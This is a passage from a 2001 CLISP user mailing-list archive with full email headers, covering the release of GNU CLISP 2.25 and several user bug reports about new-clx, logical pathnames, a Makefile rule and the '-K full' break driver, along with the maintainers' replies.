6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Bruno Haible writes: > Upgrade. Newer CLISPs have a totally different memory allocation that > works much better under Windows. ... > From my site, both > ftp://clisp.cons.org/pub/lisp/clisp/binaries/win32/ > ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/ > are accessible. Thanks, all now works. Patience was the missing ingredient. From peter.wood@worldonline.dk Thu Mar 08 13:34:24 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14b83D-0002Su-00 for ; Thu, 08 Mar 2001 13:34:23 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 627D4B4C5 for ; Thu, 8 Mar 2001 22:36:06 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f28LYHs12062; Thu, 8 Mar 2001 22:34:17 +0100 Date: Thu, 8 Mar 2001 22:34:17 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20010308223417.A12051@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] new-clx-bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi $ clisp --version CLISP 2000-03-06 (March 2000) [2]> *features* (:CLX-ANSI-COMMON-LISP :CLX :CLOS :LOOP :COMPILER :CLISP :CLTL2 :COMMON-LISP :INTERPRETER :LOGICAL-PATHNAMES :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX ) [9]> (defun beep (hertz milisec) (let ((dsp (xlib:open-display "localhost"))) (xlib:change-keyboard-control dsp :bell-pitch hertz :bell-duration milisec) (xlib:bell dsp) (xlib:display-finish-output dsp) (xlib:close-display dsp))) BEEP [10]> (beep 440 200) *** - internal error: statement in file "clx.e", line 9656 has been reached!! Please send the authors of the program a description how you produced this error! 1. Break [11]> It works in cmucl. I recompiled clisp to use the old mit-clx and it works fine, so I think it must be a bug in new-clx. Regards, Peter From sds@gnu.org Wed Mar 14 14:23:10 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14dJfi-0003RI-00 for ; Wed, 14 Mar 2001 14:23:10 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA17490 for ; Wed, 14 Mar 2001 17:25:07 -0500 (EST) X-Envelope-To: To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 14 Mar 2001 17:22:42 -0500 Message-ID: Lines: 107 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.100 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] GNU CLISP 2.25 (2001-03-15) is released Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: A new version of CLISP has just been released. Bruno, please post this announcement to news:comp.lang.lisp (I have lost my nntp connection yet again, so I cannot do it). 2.25 (2001-03-15) ================= Important notes --------------- * The default extension of Lisp source files for CLISP is now ".lisp" instead of ".lsp". When both "foo.lisp" and "foo.lsp" exist, (LOAD "foo") will load "foo.lisp". * Changed bytecode format. All .fas files generated by previous CLISP versions are invalid and must be recompiled. User visible changes -------------------- * A new version numbering scheme is adopted. * If an error is signalled by a form supplied with the command-line option "-x", CLISP now exits with a non-zero status. * The pretty-printer does not print hanging parenthesis by default now. *PRINT-RPARS* now defaults to NIL and *PRINT-INDENT-LISTS* to 1, so that the lists are printed like in CLHS and CLtL. * New extension: directory access (win32 registry). See impnotes for details. * Support UNC pathnames (\\host\dir\name.ext) on win32. * Support the SCREEN package on Win32. Thanks to Arseny Slobodjuck. * New functions CONVERT-STRING-FROM-BYTES and CONVERT-STRING-TO-BYTES. * Support for non-blocking binary I/O. New functions READ-BYTE-LOOKAHEAD, READ-BYTE-WILL-HANG-P, READ-BYTE-NO-HANG. New generic functions STREAM-READ-BYTE-LOOKAHEAD, STREAM-READ-BYTE-WILL-HANG-P, STREAM-READ-BYTE-NO-HANG. * CONCATENATED-STREAM-STREAMS now returns only the remaining streams, as per ANSI CL spec. * Implemented ANSI CL function INSPECT, and a function LISP:CLHS for access of Common Lisp HyperSpec. * Characters have now the same names as in Unicode 3.0, with space replaced by underscore. * ANSI CL compliance: CALL-NEXT-METHOD and NEXT-METHOD-P are now implemented as local functions, not local macros. It is now possible to call (APPLY #'CALL-NEXT-METHOD argument-list-of-unknown-length). * ANSI CL compliance: LOAD has a new keyword argument :EXTERNAL-FORMAT. * ANSI CL compliance: When an end-of-stream occurs, READ, READ-CHAR, PEEK-CHAR, READ-CHAR-NO-HANG, READ-LINE, READ-BYTE, READ-INTEGER, READ-FLOAT, called with arguments eof-error-p = NIL and without eof-value, now return NIL instead of #. * ANSI CL compliance: When LISP:*PARSE-NAMESTRING-ANSI* is non-NIL, PARSE-NAMESTRING parses strings with colons as logical pathnames. * New supported character sets in package CHARSET: GB18030, BIG5HKSCS. * Arguments passed to MAKE-PATHNAME with value NIL are not overridden by pathname slots in the :DEFAULTS argument any more. * STREAM-ELEMENT-TYPE of a TWO-WAY-STREAM or an ECHO-STREAM now depends on the stream's constituents. Previously, it was always (OR CHARACTER INTEGER). * Fixed a bug: REPLACE signalled an error if the source and destination sequences were the same and the source and destination ranges didn't overlap. * Fixed a bug: A garbage collection during the execution of a foreign function callback caused a crash. * Fixed a bug: Calling READ-LINE on a stream already positioned at EOF caused a crash on 64-bit platforms. * Fixed a bug: For long-floats, (EQL x (- x)) returned true. * Fixed a bug: OPEN now returns NIL when the filename's directory does not exist and :IF-DOES-NOT-EXIST NIL was specified. Previously, an error was signalled except when :DIRECTION was :PROBE. * Fixed a bug: (subtypep 'fundamental-stream 'stream) returned NIL. Portability ----------- * Added support for IA-64 running Linux. * Added support for BeOS 5. Thanks to Alexis Rivera Rios . * Removed support for DOS. Don't worry, OS/2 and Win32 are still supported. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Fighting for peace is like screwing for virginity. From youngde@nc.rr.com Thu Mar 15 14:01:18 2001 Received: from fe8.southeast.rr.com ([24.93.67.55] helo=mail8.nc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14dfo5-0004d8-00 for ; Thu, 15 Mar 2001 14:01:18 -0800 Received: from tinian.linuxnet.hom ([24.162.235.152]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Thu, 15 Mar 2001 17:00:24 -0500 Received: (from dey@localhost) by tinian.linuxnet.hom (8.9.3/8.9.3) id RAA18425; Thu, 15 Mar 2001 17:02:21 -0500 Date: Thu, 15 Mar 2001 17:02:21 -0500 Message-Id: <200103152202.RAA18425@tinian.linuxnet.hom> X-Authentication-Warning: tinian.linuxnet.hom: dey set sender to youngde@nc.rr.com using -f From: "David E. Young" To: clisp-list@lists.sourceforge.net Reply-to: youngde@nc.rr.com Subject: [clisp-list] Logical pathnames trouble Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Greetings. I submitted the following bug report a few days ago and received the accompanying response: "Greetings. It appears that CLISP's implementation of LOAD doesn't understand logical pathnames, as it apparently should according to CLtL2. Evaluating the following in CLISP: (load "lisa:clocc;port;port.system") fails with the message *** - A file with name lisa:clocc;port;port.system does not exist If I replace the above LOAD form with (load (translate-logical-pathname "lisa:clocc;port;port.system")) CLISP doesn't complain and the load is successful. Three other Lisp platforms behave as expected." Reply: "Please see the variable `lisp:*parse-namestring-ansi*' in the implementation notes, as well as symbol macro `lisp:*ansi*' and the -a command line switch. please report bugs on clisp mailing lists instead of here - you will get the response faster." I installed CLISP 2.25 on my Redhat Linux box and tried the suggestions above, to no avail; same trouble. FYI, Redhat Linux 6.2, CLISP 2.25 built from source. Regards, -- ----------------------------------------------------------------- David E. Young Fujitsu Network Communications (defun real-language? (lang) (de.young@computer.org) (eq lang 'LISP)) "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From sds@gnu.org Thu Mar 15 15:44:22 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14dhPp-0004Et-00 for ; Thu, 15 Mar 2001 15:44:21 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id SAA12739; Thu, 15 Mar 2001 18:46:27 -0500 (EST) X-Envelope-To: To: youngde@nc.rr.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Logical pathnames trouble References: <200103152202.RAA18425@tinian.linuxnet.hom> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200103152202.RAA18425@tinian.linuxnet.hom> Date: 15 Mar 2001 18:44:14 -0500 Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.100 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200103152202.RAA18425@tinian.linuxnet.hom> > * On the subject of "[clisp-list] Logical pathnames trouble" > * Sent on Thu, 15 Mar 2001 17:02:21 -0500 > * Honorable "David E. Young" writes: > > "Greetings. It appears that CLISP's implementation of > LOAD doesn't understand logical pathnames, as it apparently should > according to CLtL2. > > Evaluating the following in CLISP: > (load "lisa:clocc;port;port.system") > fails with the message > *** - A file with name lisa:clocc;port;port.system does not exist > If I replace the above LOAD form with > (load (translate-logical-pathname "lisa:clocc;port;port.system")) > CLISP doesn't complain and the load is successful. > > Reply: > > "Please see the variable `lisp:*parse-namestring-ansi*' in the > implementation notes, as well as symbol macro `lisp:*ansi*' and the > -a command line switch. please report bugs on clisp mailing lists > instead of here - you will get the response faster." > > I installed CLISP 2.25 on my Redhat Linux box and tried the > suggestions above, to no avail; same trouble. > > FYI, Redhat Linux 6.2, CLISP 2.25 built from source. I cannot reproduce your problem: > clisp -a cl-user[1]: > (load "clocc:clocc") ;; Loading file /usr/local/src/clocc/clocc.fas ... ;; Loading of file /usr/local/src/clocc/clocc.fas is finished. t cl-user[2]: > (load "clocc:src;cllib;base") ;; Loading file /usr/local/src/clocc/src/cllib/base.fas ... ;; Loading of file /usr/local/src/clocc/src/cllib/base.fas is finished. t could you please send more details? like a full session transcript, including the value of lisp:*parse-namestring-ansi*? maybe you could just try "clisp -a"? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Don't ascribe to malice what can be adequately explained by stupidity. From amoroso@mclink.it Fri Mar 16 04:50:43 2001 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14dtgn-0002Ww-00 for ; Fri, 16 Mar 2001 04:50:42 -0800 Received: from net145-079.mclink.it (net145-079.mclink.it [195.110.145.79]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id f2GCqiw28945 for ; Fri, 16 Mar 2001 13:52:45 +0100 (CET) From: Paolo Amoroso To: clisp-list@sourceforge.net Subject: Re: [clisp-list] GNU CLISP 2.25 (2001-03-15) is released Date: Fri, 16 Mar 2001 13:52:43 +0100 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 14 Mar 2001 17:22:42 -0500, Sam Steingold wrote: > A new version of CLISP has just been released. [...] > 2.25 (2001-03-15) [...] > * A new version numbering scheme is adopted. Can you tell something more about the new numbering scheme? Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From peter.wood@worldonline.dk Fri Mar 16 06:19:30 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14dv4i-00071C-00 for ; Fri, 16 Mar 2001 06:19:29 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 7D014B54C for ; Fri, 16 Mar 2001 15:21:34 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f2GEAF329208; Fri, 16 Mar 2001 15:10:15 +0100 Date: Fri, 16 Mar 2001 15:10:15 +0100 From: Peter Wood To: clisp-list@sourceforge.net Message-ID: <20010316151015.A31045@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Mar 14, 2001 at 05:22:42PM -0500 Subject: [clisp-list] error exits clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Wed, Mar 14, 2001 at 05:22:42PM -0500, Sam Steingold wrote: > A new version of CLISP has just been released. > Thanks! I think there are a few problems... Line 1830 of the Makefile: impnotes.html : ../doc/impnotes.html $(CP) ../doc/impnotes.html impnotes.html Stopped the make, with a "no rule for" error. I changed it to: impnotes.html: $(CP) impnotes.html ../doc/impnotes.html and the make continued. More seriously, when I load clisp with the "-K full" option, any error immediately exits clisp. I get no error message or anything else. Am I forgetting something? This is what it looks like: Script started on Fri Mar 16 13:19:23 2001 ------------------------------------------ Correct behaviour: ----------------------------------------- >clisp -q --norc [1]> (something-stupid) *** - EVAL: the function SOMETHING-STUPID is undefined 1. Break [2]> [3]> (quit) ---------------------------------------- Something wrong here: --------------------------------------- >clisp -q -norc -K full [1]> (something-stupid) > ------------------------------------------ Here are my vital statistics: *features* (:CLX-MIT-R5 :CLX-MIT-R4 :XLIB :CLX :CLX-LITTLE-ENDIAN :HAVE-READ-BYTE-LOOKAHEAD :HAVE-WITH-STANDARD-IO-SYNTAX :HAVE-CLCS :HAVE-DECLAIM :HAVE-PRINT-UNREADABLE-OBJECT :CLOS :LOOP :COMPILER :CLISP :CLTL2 :COMMON-LISP :INTERPRETER :LOGICAL-PATHNAMES :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) Linux localhost.localdomain 2.4.2 #3 Mon Mar 12 11:34:35 CET 2001 i586 unknown GNU CLISP 2.25 (released 2001-03-15) (built 3193738054) (memory 3193738900) Regards, Peter From haible@ilog.fr Fri Mar 16 06:43:29 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14dvRv-0008CG-00 for ; Fri, 16 Mar 2001 06:43:27 -0800 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.3/8.11.3) with ESMTP id f2GEePR04845; Fri, 16 Mar 2001 15:40:25 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.215]) by laposte.ilog.fr (8.11.3/8.11.3) with ESMTP id f2GEj9V02928; Fri, 16 Mar 2001 15:45:09 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA06983; Fri, 16 Mar 2001 15:45:26 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15026.9973.948210.895381@honolulu.ilog.fr> Date: Fri, 16 Mar 2001 15:45:09 +0100 (CET) To: Paolo Amoroso Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] GNU CLISP 2.25 (2001-03-15) is released In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Paolo Amoroso writes: > > * A new version numbering scheme is adopted. > > Can you tell something more about the new numbering scheme? It's a MAJOR.MINOR[.SUBMINOR] scheme, like that used by many other GNU programs. This release is called 2.25 because it's the 26th non-bugfix-only release of this major version. The list of releases can be found in the src/HISTORY file in the source. Bruno From haible@ilog.fr Fri Mar 16 07:27:15 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14dw86-0002jU-00 for ; Fri, 16 Mar 2001 07:27:02 -0800 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.3/8.11.3) with ESMTP id f2GFO4R06485; Fri, 16 Mar 2001 16:24:05 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.13]) by laposte.ilog.fr (8.11.3/8.11.3) with ESMTP id f2GFSnV08494; Fri, 16 Mar 2001 16:28:49 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id QAA23083; Fri, 16 Mar 2001 16:29:05 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15026.12593.418185.552158@honolulu.ilog.fr> Date: Fri, 16 Mar 2001 16:28:49 +0100 (CET) To: Peter Wood Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] error exits clisp In-Reply-To: <20010316151015.A31045@localhost.localdomain> References: <20010316151015.A31045@localhost.localdomain> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Peter Wood writes: > Thanks! I think there are a few problems... > > Line 1830 of the Makefile: > > impnotes.html : ../doc/impnotes.html > $(CP) ../doc/impnotes.html impnotes.html > > Stopped the make, with a "no rule for" error. Thanks for reporting it. A new release has been uploaded to the ftp servers, in order to correct this problem. > More seriously, when I load clisp with the "-K full" option, any error > immediately exits clisp. I get no error message or anything else. Am > I forgetting something? > > This is what it looks like: > > Script started on Fri Mar 16 13:19:23 2001 > ------------------------------------------ > Correct behaviour: > ----------------------------------------- > > >clisp -q --norc > > [1]> (something-stupid) > > *** - EVAL: the function SOMETHING-STUPID is undefined > 1. Break [2]> > [3]> (quit) > > ---------------------------------------- > Something wrong here: > --------------------------------------- > > >clisp -q -norc -K full > > [1]> (something-stupid) > > Argh. In base/lispinit.mem, sys::*break-driver* = #'sys::break-loop, but in full/lispinit.mem, sys::*break-driver* = #'sys::batchmode-break-driver. Expect a re-fixed release soon. Thanks for the quick feedback. Bruno From sds@gnu.org Sun Mar 18 18:01:58 2001 Received: from [32.97.166.31] (helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14eoze-00011S-00 for ; Sun, 18 Mar 2001 18:01:58 -0800 Received: from xchange.com (slip-32-101-212-218.ma.us.prserv.net[32.101.212.218]) by prserv.net (out1) with ESMTP id <2001031902041020105n6m5re>; Mon, 19 Mar 2001 02:04:12 +0000 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] new-clx-bug References: <20010308223417.A12051@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010308223417.A12051@localhost.localdomain> Date: 18 Mar 2001 21:01:49 -0500 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.101 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010308223417.A12051@localhost.localdomain> > * On the subject of "[clisp-list] new-clx-bug" > * Sent on Thu, 8 Mar 2001 22:34:17 +0100 > * Honorable Peter Wood writes: > > *** - internal error: statement in file "clx.e", line 9656 has been reached!! > Please send the authors of the program a description how you produced this error! if you look in the sources, you will see that this stems from the fact that `xlib:change-keyboard-control' is not implemented. actually, quite a few functions there are not implemented. wanna give us a hand? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Computer are like air conditioners: they don't work with open windows! From peter.wood@worldonline.dk Mon Mar 19 00:25:12 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14euyW-0008Sq-00 for ; Mon, 19 Mar 2001 00:25:12 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 882CEB512 for ; Mon, 19 Mar 2001 09:27:23 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f2J8OnO00272; Mon, 19 Mar 2001 09:24:49 +0100 X-Authentication-Warning: localhost.localdomain: prw set sender to peter.wood@worldonline.dk using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] new-clx-bug References: <20010308223417.A12051@localhost.localdomain> From: Peter Wood Date: 19 Mar 2001 09:24:49 +0100 In-Reply-To: Sam Steingold's message of "18 Mar 2001 21:01:49 -0500" Message-ID: <8066h6w4ha.fsf@localhost.localdomain> Lines: 24 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Thelxepeia) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > > * In message <20010308223417.A12051@localhost.localdomain> > > * On the subject of "[clisp-list] new-clx-bug" > > * Sent on Thu, 8 Mar 2001 22:34:17 +0100 > > * Honorable Peter Wood writes: > > > > *** - internal error: statement in file "clx.e", line 9656 has been reached!! > > Please send the authors of the program a description how you produced this error! > > if you look in the sources, you will see that this stems from the fact > that `xlib:change-keyboard-control' is not implemented. > actually, quite a few functions there are not implemented. I'll have a look. But don't hold your breath 'cause ... > wanna give us a hand? there's no project I'd rather help than clisp, but with my programming abilities, you are probably better off without. Regards, Peter From peter.wood@worldonline.dk Mon Mar 19 13:10:52 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14f6vU-0007AQ-00 for ; Mon, 19 Mar 2001 13:10:52 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 5FABDB4F9 for ; Mon, 19 Mar 2001 22:13:09 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f2JLB4100316; Mon, 19 Mar 2001 22:11:04 +0100 X-Authentication-Warning: localhost.localdomain: prw set sender to peter.wood@worldonline.dk using -f To: clisp-list@lists.sourceforge.net From: Peter Wood Date: 19 Mar 2001 22:11:03 +0100 Message-ID: <801yrtv508.fsf@localhost.localdomain> Lines: 7 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Thelxepeia) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] impnotes.{tex|dvi} ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi Is there a recent latex or dvi version of impnotes.html? The manual package in the contrib directory at cons.org is quite old (1995). Regards, Peter From haible@ilog.fr Mon Mar 19 13:28:44 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14f7Ck-0001Re-00 for ; Mon, 19 Mar 2001 13:28:42 -0800 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.3/8.11.3) with ESMTP id f2JLPvR13563; Mon, 19 Mar 2001 22:25:57 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.92]) by laposte.ilog.fr (8.11.3/8.11.3) with ESMTP id f2JLUhV16608; Mon, 19 Mar 2001 22:30:43 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id WAA24040; Mon, 19 Mar 2001 22:30:49 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15030.31359.894300.878210@honolulu.ilog.fr> Date: Mon, 19 Mar 2001 22:30:39 +0100 (CET) To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] impnotes.{tex|dvi} ? In-Reply-To: <801yrtv508.fsf@localhost.localdomain> References: <801yrtv508.fsf@localhost.localdomain> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Peter Wood writes: > Is there a recent latex or dvi version of impnotes.html? The manual > package in the contrib directory at cons.org is quite old (1995). We've decided not to use TeX or (even worse) LaTeX for the CLISP documentation. For printing CLISP's impnotes.html there are three options: - Use the html2ps converter. - Use the amaya browser's print function, - Use netscape navigator's print function. Bruno From sds@gnu.org Mon Mar 19 13:31:49 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14f7Fl-0001xS-00 for ; Mon, 19 Mar 2001 13:31:49 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA20251; Mon, 19 Mar 2001 16:33:51 -0500 (EST) X-Envelope-To: To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] impnotes.{tex|dvi} ? References: <801yrtv508.fsf@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <801yrtv508.fsf@localhost.localdomain> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.101 Date: 19 Mar 2001 16:32:37 -0500 Message-ID: Lines: 17 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <801yrtv508.fsf@localhost.localdomain> > * On the subject of "[clisp-list] impnotes.{tex|dvi} ?" > * Sent on 19 Mar 2001 22:11:03 +0100 > * Honorable Peter Wood 